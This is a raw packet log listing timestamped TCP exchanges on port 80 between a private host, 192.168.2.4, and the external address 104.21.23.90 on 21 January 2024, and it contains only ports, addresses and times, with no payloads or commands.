Jan 21, 2024 16:57:09.125372887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.125408888 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.125426054 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.125447989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.125484943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.125500917 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.126116037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.126172066 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.126176119 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.126214981 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.126250982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.126270056 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.126290083 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.126343012 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.126980066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.127016068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.127052069 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.127069950 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.127089977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.127125978 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.127161026 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.127782106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.127818108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.127839088 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.127855062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.127891064 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.127911091 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.127928972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.127984047 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.128700972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.128736973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.128772974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.128789902 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.128808975 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.128845930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.128864050 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.129432917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.129488945 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.129506111 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.129543066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.129580021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.129597902 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.129618883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.129673958 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.130301952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.130352020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.130388975 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.130407095 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.130424976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.130461931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.130479097 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.131216049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.131253958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.131274939 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.131290913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.131328106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.131344080 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.131369114 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.131422043 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.131942987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.131979942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.132015944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.132034063 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.132051945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.132088900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.132106066 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.133919001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.133956909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.133976936 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.133994102 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.134030104 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.134047985 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.134068012 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.134121895 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.134320974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.134357929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.134394884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.134413004 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.134432077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.134469032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.134485006 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.135080099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.135133982 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.135169029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.135205984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.135243893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.135261059 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.135281086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.135334969 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.135900974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.135937929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.135973930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.135991096 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.136013985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.136049032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.136070013 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.136751890 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.136790037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.136811018 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.136826992 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.136862993 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.136883020 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.136898994 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.136950970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.137643099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.137680054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.137717009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.137734890 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.137767076 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.137804031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.137823105 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.138448000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.138484955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.138504028 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.138554096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.138592005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.138611078 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.138629913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.138685942 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.139283895 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.139363050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.139399052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.139416933 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.139450073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.139487028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.139503956 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.140086889 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.140141964 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.140163898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.140199900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.140235901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.140254021 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.140273094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.140330076 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.140986919 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.141025066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.141061068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.141078949 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.141098976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.141135931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.141151905 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.141777039 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.141813993 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.141835928 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.141853094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.141906977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.141915083 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.141944885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.142000914 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.142615080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.142651081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.142688036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.142704964 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.142728090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.142765045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.142781973 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.143454075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.143491030 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.143508911 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.143527031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.143563986 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.143579960 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.143603086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.143660069 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.144365072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.144402027 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.144438982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.144464016 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.144474983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.144512892 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.144530058 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.145121098 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.145168066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.145169973 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.145205021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.145241022 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.145256996 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.145277977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.145329952 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.145934105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.145981073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.146034002 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.146104097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.146140099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.146177053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.146195889 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.146859884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.146897078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.146914959 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.146934032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.146970987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.146987915 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.147007942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.147058964 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.147665024 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.147701979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.147739887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.147758007 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.147777081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.147814035 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.147830963 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.148477077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.148513079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.148529053 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.148550034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.148587942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.148606062 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.148626089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.148694038 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.149393082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.149430990 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.149466991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.149504900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.149504900 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.149542093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.149561882 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.150151968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.150187969 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.150206089 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.150224924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.150260925 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.150279045 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.150299072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.150353909 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.151032925 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.151068926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.151104927 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.151122093 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.151140928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.151177883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.151195049 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.151864052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.151900053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.151937008 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.151942968 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.151973009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.151993036 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.152010918 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.152066946 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.152667999 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.152738094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.152774096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.152786970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.152811050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.152848005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.152859926 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.153506041 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.153542042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.153554916 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.153578997 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.153615952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.153628111 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.153652906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.153702021 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.154309988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.154345989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.154385090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.154392004 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.154422045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.154459000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.154469967 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.155157089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.155194044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.155209064 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.155232906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.155268908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.155283928 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.155306101 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.155354023 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.155985117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.156021118 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.156056881 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.156085014 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.156095028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.156138897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.156152010 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.156791925 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.156829119 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.156842947 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.156866074 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.156902075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.156913042 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.156939030 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.156987906 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.157697916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.157735109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.157771111 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.157784939 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.157809019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.157845020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.157856941 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.158484936 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.158521891 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.158535957 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.158562899 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.158601046 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.158612013 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.158641100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.158689022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.159322977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.159359932 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.159410000 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.159430981 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.159467936 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.159504890 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.159514904 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.160187006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.160224915 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.160247087 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.160262108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.160298109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.160310984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.160336018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.160383940 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.161034107 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.161071062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.161113024 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.161138058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.161175013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.161211014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.161221981 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.161809921 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.161847115 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.161861897 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.161901951 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.161941051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.161956072 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.161978006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.162028074 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.162656069 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.162693024 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.162728071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.162736893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.162769079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.162805080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.162817001 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.163499117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.163536072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.163547993 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.163573980 CET	80	49730	104.21.23.90	192.168.2.4
